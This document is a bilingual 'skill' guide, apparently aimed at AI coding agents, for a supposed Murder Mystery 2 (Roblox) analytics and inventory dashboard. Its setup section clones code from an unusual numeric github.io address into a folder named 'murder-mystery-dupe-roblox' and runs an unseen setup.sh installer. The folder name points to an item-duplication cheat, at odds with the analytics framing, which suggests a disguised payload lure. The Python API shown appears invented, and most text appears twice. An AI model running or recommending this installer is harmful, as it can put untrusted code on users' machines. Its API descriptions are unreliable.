mm2-analytics-dashboard-roblox

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Chinese

MM2 Analytics Dashboard - Roblox

MM2分析仪表盘 - Roblox

Skill by ara.so — Data Skills collection.
ara.so开发的Skill — 数据技能合集。

Overview

概述

The MM2 Analytics Dashboard is a comprehensive toolkit for Murder Mystery 2 (Roblox) that provides inventory management, statistical analysis, and gameplay optimization. It tracks knife skins, gamepasses, win/loss ratios, and provides AI-powered strategy insights through data visualization and pattern recognition.
Key capabilities:
  • Automated inventory tracking and cataloging
  • Real-time analytics dashboard with charts
  • Strategy pattern analysis and recommendations
  • Trade value predictions and optimization
  • Cross-platform data synchronization
MM2分析仪表盘是一款针对Roblox平台《Murder Mystery 2》(MM2)的综合工具包,提供库存管理、统计分析及游戏玩法优化功能。它可追踪刀具皮肤、游戏通行证、胜负比率,并通过数据可视化和模式识别提供AI驱动的策略洞察。
核心功能:
  • 自动化库存追踪与分类
  • 带图表的实时分析仪表盘
  • 策略模式分析与建议
  • 交易价值预测与优化
  • 跨平台数据同步

Installation

安装

Automated Setup

自动安装

bash
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bash
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Clone the repository

Clone the repository

git clone https://8015238355.github.io cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io cd murder-mystery-dupe-roblox

Run automated installer

Run automated installer

chmod +x setup.sh ./setup.sh --install
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chmod +x setup.sh ./setup.sh --install
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Manual Setup

手动安装

bash
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bash
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Install Node.js dependencies

Install Node.js dependencies

npm install
npm install

Install Python dependencies

Install Python dependencies

python3 -m pip install -r requirements.txt
python3 -m pip install -r requirements.txt

Create data directories

Create data directories

mkdir -p data/collections data/exports data/logs
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mkdir -p data/collections data/exports data/logs
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Environment Configuration

环境配置

Create a
.env
file in the project root:
env
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在项目根目录创建
.env
文件:
env
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API Keys (optional, for AI-powered features)

API Keys (optional, for AI-powered features)

API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}

Data Configuration

Data Configuration

DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true
DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true

Export Settings

Export Settings

EXPORT_FORMAT=json,csv AUTO_BACKUP=true BACKUP_INTERVAL=3600
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EXPORT_FORMAT=json,csv AUTO_BACKUP=true BACKUP_INTERVAL=3600
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Core Commands

核心命令

Analytics Engine

分析引擎

bash
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bash
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Run comprehensive analytics scan

Run comprehensive analytics scan

python3 main.py --mode analytics
--profile ${USERNAME}
--export statistics.json
--format json
--verbose
python3 main.py --mode analytics
--profile ${USERNAME}
--export statistics.json
--format json
--verbose

Quick inventory check

Quick inventory check

python3 main.py --mode inventory
--scan-only
--filter knife_skins
python3 main.py --mode inventory
--scan-only
--filter knife_skins

Generate performance report

Generate performance report

python3 main.py --mode report
--type performance
--time-range 30d
--output ./data/exports/
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python3 main.py --mode report
--type performance
--time-range 30d
--output ./data/exports/
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Inventory Management

库存管理

bash
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bash
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Sync inventory from Roblox

Sync inventory from Roblox

python3 main.py --sync-inventory
--profile ${ROBLOX_USERNAME}
python3 main.py --sync-inventory
--profile ${ROBLOX_USERNAME}

Catalog knife skins with rarity analysis

Catalog knife skins with rarity analysis

python3 main.py --catalog knives
--analyze-rarity
--export-csv
python3 main.py --catalog knives
--analyze-rarity
--export-csv

Track gamepass effectiveness

Track gamepass effectiveness

python3 main.py --track-gamepasses
--calculate-roi
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python3 main.py --track-gamepasses
--calculate-roi
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Strategy Analysis

策略分析

bash
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bash
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Analyze gameplay patterns

Analyze gameplay patterns

python3 main.py --mode strategy
--analyze-patterns
--role sheriff
python3 main.py --mode strategy
--analyze-patterns
--role sheriff

Generate AI recommendations

Generate AI recommendations

python3 main.py --ai-insights
--use-openai
--strategy-focus aggressive
python3 main.py --ai-insights
--use-openai
--strategy-focus aggressive

Practice mode simulator

Practice mode simulator

python3 main.py --practice
--scenario innocent_survival
--difficulty hard
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python3 main.py --practice
--scenario innocent_survival
--difficulty hard
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Python API Usage

Python API 使用

Basic Analytics Session

基础分析会话

python
from mm2_analytics import AnalyticsEngine, Profile, InventoryManager
python
from mm2_analytics import AnalyticsEngine, Profile, InventoryManager

Initialize analytics engine

Initialize analytics engine

engine = AnalyticsEngine( data_dir="./data/collections", export_format="json", verbose=True )
engine = AnalyticsEngine( data_dir="./data/collections", export_format="json", verbose=True )

Load user profile

Load user profile

profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")

Scan inventory

Scan inventory

inventory = InventoryManager(profile) knife_skins = inventory.scan_category("knife_skins", rarity_filter=["legendary", "ancient"])
print(f"Found {len(knife_skins)} premium knife skins")
inventory = InventoryManager(profile) knife_skins = inventory.scan_category("knife_skins", rarity_filter=["legendary", "ancient"])
print(f"Found {len(knife_skins)} premium knife skins")

Run analytics

Run analytics

results = engine.analyze( profile=profile, metrics=["win_rate", "role_performance", "inventory_value"], time_range="30d" )
results = engine.analyze( profile=profile, metrics=["win_rate", "role_performance", "inventory_value"], time_range="30d" )

Export results

Export results

engine.export(results, "statistics_2026.json")
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engine.export(results, "statistics_2026.json")
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Inventory Tracking

库存追踪

python
from mm2_analytics import InventoryManager, TradeAnalyzer
python
from mm2_analytics import InventoryManager, TradeAnalyzer

Initialize inventory manager

Initialize inventory manager

manager = InventoryManager(profile="MysterySolver2026")
manager = InventoryManager(profile="MysterySolver2026")

Track all items

Track all items

inventory = manager.sync_from_roblox()
inventory = manager.sync_from_roblox()

Filter by category and rarity

Filter by category and rarity

legendary_knives = manager.filter( category="knife_skins", rarity=["legendary"], sort_by="value" )
legendary_knives = manager.filter( category="knife_skins", rarity=["legendary"], sort_by="value" )

Analyze trade opportunities

Analyze trade opportunities

trade_analyzer = TradeAnalyzer(inventory) recommendations = trade_analyzer.get_recommendations( strategy="maximize_value", risk_tolerance="medium" )
for rec in recommendations: print(f"Trade: {rec.offer} -> {rec.receive} (Expected gain: {rec.value_delta})")
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trade_analyzer = TradeAnalyzer(inventory) recommendations = trade_analyzer.get_recommendations( strategy="maximize_value", risk_tolerance="medium" )
for rec in recommendations: print(f"Trade: {rec.offer} -> {rec.receive} (Expected gain: {rec.value_delta})")
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Strategy Pattern Analysis

策略模式分析

python
from mm2_analytics import StrategyAnalyzer, GameSession
python
from mm2_analytics import StrategyAnalyzer, GameSession

Load game sessions

Load game sessions

analyzer = StrategyAnalyzer(profile="mystery_solver_01")
analyzer = StrategyAnalyzer(profile="mystery_solver_01")

Analyze sheriff performance

Analyze sheriff performance

sheriff_stats = analyzer.analyze_role( role="sheriff", metrics=["accuracy", "response_time", "win_rate"], time_range="7d" )
print(f"Sheriff Win Rate: {sheriff_stats.win_rate:.2%}") print(f"Average Accuracy: {sheriff_stats.accuracy:.2%}")
sheriff_stats = analyzer.analyze_role( role="sheriff", metrics=["accuracy", "response_time", "win_rate"], time_range="7d" )
print(f"Sheriff Win Rate: {sheriff_stats.win_rate:.2%}") print(f"Average Accuracy: {sheriff_stats.accuracy:.2%}")

Get AI-powered recommendations

Get AI-powered recommendations

recommendations = analyzer.get_ai_recommendations( current_stats=sheriff_stats, improvement_focus=["accuracy", "map_awareness"] )
for rec in recommendations: print(f"- {rec.suggestion} (Expected improvement: +{rec.impact:.1%})")
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recommendations = analyzer.get_ai_recommendations( current_stats=sheriff_stats, improvement_focus=["accuracy", "map_awareness"] )
for rec in recommendations: print(f"- {rec.suggestion} (Expected improvement: +{rec.impact:.1%})")
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Data Visualization

数据可视化

python
from mm2_analytics import Dashboard, ChartGenerator
python
from mm2_analytics import Dashboard, ChartGenerator

Create dashboard

Create dashboard

dashboard = Dashboard(profile="mystery_solver_01")
dashboard = Dashboard(profile="mystery_solver_01")

Generate performance charts

Generate performance charts

chart_gen = ChartGenerator( data_source=dashboard.get_stats(), chart_type="line", metrics=["win_rate", "kills", "deaths"] )
chart_gen = ChartGenerator( data_source=dashboard.get_stats(), chart_type="line", metrics=["win_rate", "kills", "deaths"] )

Export interactive HTML dashboard

Export interactive HTML dashboard

dashboard.export_html( output_path="./data/exports/dashboard.html", charts=[ chart_gen.win_rate_over_time(), chart_gen.role_distribution(), chart_gen.inventory_value_trend() ] )
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dashboard.export_html( output_path="./data/exports/dashboard.html", charts=[ chart_gen.win_rate_over_time(), chart_gen.role_distribution(), chart_gen.inventory_value_trend() ] )
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Configuration

配置

Profile Configuration (YAML)

配置文件(YAML)

yaml
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yaml
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config/profiles/mystery_solver_01.yaml

config/profiles/mystery_solver_01.yaml

profile: username: "MysterySolver2026" roblox_user_id: 123456789 preferred_role: "sheriff"
inventory_filter: - category: "knife_skins" rarity: ["legendary", "ancient", "godly"] min_value: 1000 - category: "gamepasses" active: true
analytics_preferences: tracking_mode: "comprehensive" data_refresh_rate: 30 export_format: ["csv", "json"] enable_ai_insights: true
strategy_templates: - name: "aggressive_sheriff" priority: "high_visibility_areas" play_style: "offensive" - name: "passive_innocent" priority: "distraction_avoidance" play_style: "defensive"
notification_settings: inventory_changes: true trade_alerts: true performance_milestones: true
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profile: username: "MysterySolver2026" roblox_user_id: 123456789 preferred_role: "sheriff"
inventory_filter: - category: "knife_skins" rarity: ["legendary", "ancient", "godly"] min_value: 1000 - category: "gamepasses" active: true
analytics_preferences: tracking_mode: "comprehensive" data_refresh_rate: 30 export_format: ["csv", "json"] enable_ai_insights: true
strategy_templates: - name: "aggressive_sheriff" priority: "high_visibility_areas" play_style: "offensive" - name: "passive_innocent" priority: "distraction_avoidance" play_style: "defensive"
notification_settings: inventory_changes: true trade_alerts: true performance_milestones: true
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Analytics Configuration (JSON)

分析配置(JSON)

json
{
  "analytics": {
    "metrics": {
      "win_rate": {
        "enabled": true,
        "calculation": "wins / (wins + losses)",
        "time_ranges": ["7d", "30d", "all"]
      },
      "inventory_value": {
        "enabled": true,
        "currency": "robux",
        "update_frequency": 3600
      },
      "role_performance": {
        "enabled": true,
        "roles": ["sheriff", "murderer", "innocent"],
        "metrics": ["accuracy", "survival_time", "win_rate"]
      }
    },
    "export": {
      "auto_export": true,
      "formats": ["json", "csv"],
      "destination": "./data/exports/",
      "compression": "gzip"
    }
  }
}
json
{
  "analytics": {
    "metrics": {
      "win_rate": {
        "enabled": true,
        "calculation": "wins / (wins + losses)",
        "time_ranges": ["7d", "30d", "all"]
      },
      "inventory_value": {
        "enabled": true,
        "currency": "robux",
        "update_frequency": 3600
      },
      "role_performance": {
        "enabled": true,
        "roles": ["sheriff", "murderer", "innocent"],
        "metrics": ["accuracy", "survival_time", "win_rate"]
      }
    },
    "export": {
      "auto_export": true,
      "formats": ["json", "csv"],
      "destination": "./data/exports/",
      "compression": "gzip"
    }
  }
}

Common Patterns

通用模式

Daily Analytics Routine

每日分析流程

python
from mm2_analytics import DailyAnalyzer
from datetime import datetime

def daily_analytics_routine(profile_name):
    """Run daily analytics and generate report"""
    analyzer = DailyAnalyzer(profile=profile_name)
    
    # Sync latest data
    print("Syncing inventory...")
    analyzer.sync_inventory()
    
    # Calculate daily metrics
    print("Calculating metrics...")
    metrics = analyzer.calculate_daily_metrics()
    
    # Generate report
    report = analyzer.generate_report(
        date=datetime.now().strftime("%Y-%m-%d"),
        include_charts=True,
        export_format="pdf"
    )
    
    # Send notifications if milestones reached
    if metrics.has_milestones():
        analyzer.notify_milestones(metrics.milestones)
    
    return report
python
from mm2_analytics import DailyAnalyzer
from datetime import datetime

def daily_analytics_routine(profile_name):
    """Run daily analytics and generate report"""
    analyzer = DailyAnalyzer(profile=profile_name)
    
    # Sync latest data
    print("Syncing inventory...")
    analyzer.sync_inventory()
    
    # Calculate daily metrics
    print("Calculating metrics...")
    metrics = analyzer.calculate_daily_metrics()
    
    # Generate report
    report = analyzer.generate_report(
        date=datetime.now().strftime("%Y-%m-%d"),
        include_charts=True,
        export_format="pdf"
    )
    
    # Send notifications if milestones reached
    if metrics.has_milestones():
        analyzer.notify_milestones(metrics.milestones)
    
    return report

Run daily routine

Run daily routine

report = daily_analytics_routine("mystery_solver_01") print(f"Daily report saved: {report.path}")
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report = daily_analytics_routine("mystery_solver_01") print(f"Daily report saved: {report.path}")
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Inventory Optimization

库存优化

python
from mm2_analytics import InventoryOptimizer

def optimize_inventory(profile):
    """Optimize inventory for maximum value"""
    optimizer = InventoryOptimizer(profile=profile)
    
    # Get current inventory state
    current_inventory = optimizer.get_current_state()
    
    # Identify duplicate items
    duplicates = optimizer.find_duplicates()
    print(f"Found {len(duplicates)} duplicate items")
    
    # Get trade recommendations
    trades = optimizer.recommend_trades(
        strategy="maximize_value",
        min_profit_margin=0.15,
        risk_level="low"
    )
    
    # Calculate portfolio diversity
    diversity_score = optimizer.calculate_diversity()
    print(f"Portfolio diversity: {diversity_score:.2%}")
    
    return {
        "duplicates": duplicates,
        "recommended_trades": trades,
        "diversity_score": diversity_score
    }
python
from mm2_analytics import InventoryOptimizer

def optimize_inventory(profile):
    """Optimize inventory for maximum value"""
    optimizer = InventoryOptimizer(profile=profile)
    
    # Get current inventory state
    current_inventory = optimizer.get_current_state()
    
    # Identify duplicate items
    duplicates = optimizer.find_duplicates()
    print(f"Found {len(duplicates)} duplicate items")
    
    # Get trade recommendations
    trades = optimizer.recommend_trades(
        strategy="maximize_value",
        min_profit_margin=0.15,
        risk_level="low"
    )
    
    # Calculate portfolio diversity
    diversity_score = optimizer.calculate_diversity()
    print(f"Portfolio diversity: {diversity_score:.2%}")
    
    return {
        "duplicates": duplicates,
        "recommended_trades": trades,
        "diversity_score": diversity_score
    }

AI-Powered Strategy Suggestions

AI驱动的策略建议

python
from mm2_analytics import AIStrategyAssistant
import os

def get_strategy_suggestions(profile, role):
    """Get AI-powered gameplay suggestions"""
    assistant = AIStrategyAssistant(
        openai_key=os.getenv("API_OPENAI_KEY"),
        claude_key=os.getenv("API_CLAUDE_KEY")
    )
    
    # Analyze recent performance
    recent_games = assistant.load_recent_games(profile, limit=50)
    performance = assistant.analyze_performance(recent_games, role=role)
    
    # Generate suggestions
    suggestions = assistant.generate_suggestions(
        performance_data=performance,
        role=role,
        improvement_areas=["map_awareness", "timing", "positioning"]
    )
    
    # Rank by expected impact
    ranked_suggestions = assistant.rank_by_impact(suggestions)
    
    return ranked_suggestions
python
from mm2_analytics import AIStrategyAssistant
import os

def get_strategy_suggestions(profile, role):
    """Get AI-powered gameplay suggestions"""
    assistant = AIStrategyAssistant(
        openai_key=os.getenv("API_OPENAI_KEY"),
        claude_key=os.getenv("API_CLAUDE_KEY")
    )
    
    # Analyze recent performance
    recent_games = assistant.load_recent_games(profile, limit=50)
    performance = assistant.analyze_performance(recent_games, role=role)
    
    # Generate suggestions
    suggestions = assistant.generate_suggestions(
        performance_data=performance,
        role=role,
        improvement_areas=["map_awareness", "timing", "positioning"]
    )
    
    # Rank by expected impact
    ranked_suggestions = assistant.rank_by_impact(suggestions)
    
    return ranked_suggestions

Get sheriff strategy tips

Get sheriff strategy tips

suggestions = get_strategy_suggestions("mystery_solver_01", "sheriff") for i, suggestion in enumerate(suggestions[:5], 1): print(f"{i}. {suggestion.text} (Impact: +{suggestion.expected_improvement:.1%})")
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suggestions = get_strategy_suggestions("mystery_solver_01", "sheriff") for i, suggestion in enumerate(suggestions[:5], 1): print(f"{i}. {suggestion.text} (Impact: +{suggestion.expected_improvement:.1%})")
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Troubleshooting

故障排除

Inventory Sync Failures

库存同步失败

python
from mm2_analytics import InventoryManager, SyncError

try:
    manager = InventoryManager(profile="MysterySolver2026")
    inventory = manager.sync_from_roblox()
except SyncError as e:
    print(f"Sync failed: {e}")
    
    # Retry with fallback mode
    inventory = manager.sync_from_roblox(
        fallback_mode=True,
        use_cache=True,
        timeout=60
    )
    
    # Verify sync integrity
    if manager.verify_sync():
        print("Sync completed with cached data")
    else:
        print("Manual sync required - check Roblox connection")
python
from mm2_analytics import InventoryManager, SyncError

try:
    manager = InventoryManager(profile="MysterySolver2026")
    inventory = manager.sync_from_roblox()
except SyncError as e:
    print(f"Sync failed: {e}")
    
    # Retry with fallback mode
    inventory = manager.sync_from_roblox(
        fallback_mode=True,
        use_cache=True,
        timeout=60
    )
    
    # Verify sync integrity
    if manager.verify_sync():
        print("Sync completed with cached data")
    else:
        print("Manual sync required - check Roblox connection")

Data Export Issues

数据导出问题

bash
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bash
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Check export permissions

Check export permissions

python3 main.py --check-permissions --directory ./data/exports/
python3 main.py --check-permissions --directory ./data/exports/

Force export with specific format

Force export with specific format

python3 main.py --mode analytics
--export statistics.json
--force
--format json
--validate-output
python3 main.py --mode analytics
--export statistics.json
--force
--format json
--validate-output

Debug export pipeline

Debug export pipeline

python3 main.py --mode analytics
--export statistics.json
--debug
--log-level DEBUG
--log-file ./data/logs/export_debug.log
undefined
python3 main.py --mode analytics
--export statistics.json
--debug
--log-level DEBUG
--log-file ./data/logs/export_debug.log
undefined

Performance Optimization

性能优化

python
from mm2_analytics import PerformanceOptimizer
python
from mm2_analytics import PerformanceOptimizer

Optimize analytics engine

Optimize analytics engine

optimizer = PerformanceOptimizer()
optimizer = PerformanceOptimizer()

Enable caching for frequent queries

Enable caching for frequent queries

optimizer.enable_query_cache(max_size="500MB")
optimizer.enable_query_cache(max_size="500MB")

Compress old data

Compress old data

optimizer.compress_historical_data( older_than="90d", compression="gzip" )
optimizer.compress_historical_data( older_than="90d", compression="gzip" )

Index frequently accessed fields

Index frequently accessed fields

optimizer.create_indexes([ "timestamp", "profile_id", "item_category", "rarity" ])
optimizer.create_indexes([ "timestamp", "profile_id", "item_category", "rarity" ])

Monitor performance

Monitor performance

stats = optimizer.get_performance_stats() print(f"Query cache hit rate: {stats.cache_hit_rate:.2%}") print(f"Average query time: {stats.avg_query_time_ms}ms")
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stats = optimizer.get_performance_stats() print(f"Query cache hit rate: {stats.cache_hit_rate:.2%}") print(f"Average query time: {stats.avg_query_time_ms}ms")
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API Rate Limiting

API速率限制

python
from mm2_analytics import RateLimiter
import time
python
from mm2_analytics import RateLimiter
import time

Configure rate limiter

Configure rate limiter

limiter = RateLimiter( max_requests_per_minute=30, burst_limit=10 )
limiter = RateLimiter( max_requests_per_minute=30, burst_limit=10 )

Make API calls with automatic throttling

Make API calls with automatic throttling

@limiter.throttle def fetch_inventory_data(profile): # API call implementation pass
@limiter.throttle def fetch_inventory_data(profile): # API call implementation pass

Batch operations with rate limiting

Batch operations with rate limiting

profiles = ["user1", "user2", "user3"] for profile in profiles: try: data = fetch_inventory_data(profile) except limiter.RateLimitExceeded: print(f"Rate limit reached, waiting...") time.sleep(limiter.get_wait_time()) data = fetch_inventory_data(profile)
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profiles = ["user1", "user2", "user3"] for profile in profiles: try: data = fetch_inventory_data(profile) except limiter.RateLimitExceeded: print(f"Rate limit reached, waiting...") time.sleep(limiter.get_wait_time()) data = fetch_inventory_data(profile)
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Advanced Usage

进阶用法

Custom Analytics Pipeline

自定义分析流水线

python
from mm2_analytics import Pipeline, Processor
python
from mm2_analytics import Pipeline, Processor

Define custom processing pipeline

Define custom processing pipeline

pipeline = Pipeline()
pipeline = Pipeline()

Add processing stages

Add processing stages

pipeline.add_stage(Processor.normalize_data()) pipeline.add_stage(Processor.calculate_metrics()) pipeline.add_stage(Processor.apply_filters(min_value=1000)) pipeline.add_stage(Processor.aggregate_by("category")) pipeline.add_stage(Processor.export_results("json"))
pipeline.add_stage(Processor.normalize_data()) pipeline.add_stage(Processor.calculate_metrics()) pipeline.add_stage(Processor.apply_filters(min_value=1000)) pipeline.add_stage(Processor.aggregate_by("category")) pipeline.add_stage(Processor.export_results("json"))

Run pipeline

Run pipeline

results = pipeline.run( input_data="./data/collections/inventory.json", output_dir="./data/exports/" )
print(f"Pipeline completed: {results.summary}")
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results = pipeline.run( input_data="./data/collections/inventory.json", output_dir="./data/exports/" )
print(f"Pipeline completed: {results.summary}")
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Real-time Monitoring

实时监控

python
from mm2_analytics import LiveMonitor
import asyncio

async def monitor_gameplay():
    """Monitor live gameplay sessions"""
    monitor = LiveMonitor(profile="mystery_solver_01")
    
    await monitor.connect()
    
    async for event in monitor.stream_events():
        if event.type == "game_start":
            print(f"Game started - Role: {event.role}")
        elif event.type == "game_end":
            print(f"Game ended - Result: {event.result}")
            # Update analytics
            await monitor.update_stats(event.data)
        elif event.type == "inventory_change":
            print(f"New item acquired: {event.item}")
python
from mm2_analytics import LiveMonitor
import asyncio

async def monitor_gameplay():
    """Monitor live gameplay sessions"""
    monitor = LiveMonitor(profile="mystery_solver_01")
    
    await monitor.connect()
    
    async for event in monitor.stream_events():
        if event.type == "game_start":
            print(f"Game started - Role: {event.role}")
        elif event.type == "game_end":
            print(f"Game ended - Result: {event.result}")
            # Update analytics
            await monitor.update_stats(event.data)
        elif event.type == "inventory_change":
            print(f"New item acquired: {event.item}")

Run async monitor

Run async monitor

asyncio.run(monitor_gameplay())

This skill provides comprehensive coverage of the MM2 Analytics Dashboard for AI coding agents to effectively assist developers in inventory tracking, analytics, and gameplay optimization for Murder Mystery 2 on Roblox.
asyncio.run(monitor_gameplay())

本Skill全面覆盖MM2分析仪表盘相关内容,可帮助AI编码代理为开发者提供Roblox平台《Murder Mystery 2》的库存追踪、数据分析及游戏玩法优化方面的有效支持。